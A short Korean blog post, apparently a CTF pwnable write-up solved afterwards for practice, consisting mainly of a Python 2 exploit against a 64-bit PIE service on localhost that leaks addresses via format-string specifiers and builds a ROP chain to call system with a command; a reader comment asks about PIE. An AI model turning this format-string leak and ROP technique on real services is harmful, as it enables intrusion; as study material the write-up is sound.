대회때 푼건 아니고, 끝나고 연습용으로 품.


64bit, PIE, xinetd 환경.


실제 대회에서는 system offset은 브루트포싱으로 알아낼수있음.


from socket import *
from struct import *
import sys
 
cmd = "ls -al\x00"
 
s = socket(AF_INET,SOCK_STREAM)
s.connect(('localhost',5679))
 
# mov rdi rsi 0x1086
# write 0xfe3
 
s.send("%265$p\n")
get=s.recv(1024)
base_addr = int(get[2:],16) - 0x1127
print "base_addr: "+hex(base_addr)
 
s.send("%4$p\n")
get=s.recv(1024)
buf = int(get[2:],16)
print "buf_addr: "+hex(buf)
 
s.send("%7$s    "+pack('<Q',base_addr+0x202058)+"\n")
get=s.recv(1024)
fgets_addr = unpack('<Q',get[:6]+"\x00\x00")[0]
print "fgets_addr: "+hex(fgets_addr)
 
payload = ""
payload += cmd
payload += pack('<Q',base_addr+0x1086)
payload += "A"*(0x810-len(payload))
payload += "A"*8 # rbp
payload += pack('<Q',base_addr+0x1196)
payload += "A"*8
payload += pack('<Q',0) # rbx
payload += pack('<Q',1) # rbp
payload += pack('<Q',buf+len(cmd)) # r12
payload += pack('<Q',0) # r13
payload += pack('<Q',buf) # r14
payload += pack('<Q',0) # r15
payload += pack('<Q',base_addr+0x1183) # mov rsi r14; call *(r12+rbx*8)
payload += pack('<Q',0)
payload += pack('<Q',0)
payload += pack('<Q',buf)
payload += pack('<Q',1)
payload += pack('<Q',2)
payload += pack('<Q',3)
payload += pack('<Q',4)
payload += pack('<Q',fgets_addr-0x28E40) # system
payload += "\n"
 
s.send(payload)
print s.recv(1024)
print s.recv(1024)
s.close()


posted by tunz
  • hea 2013.11.30 02:01

    안녕하세요. PIE 에 대해서 공부해보고 싶은데 인터넷상의 문서가 너무 없더라구요.. 혹시 추천해주시는 문서나 괜찮으시다면 직접 설명좀 부탁드리겠습니다.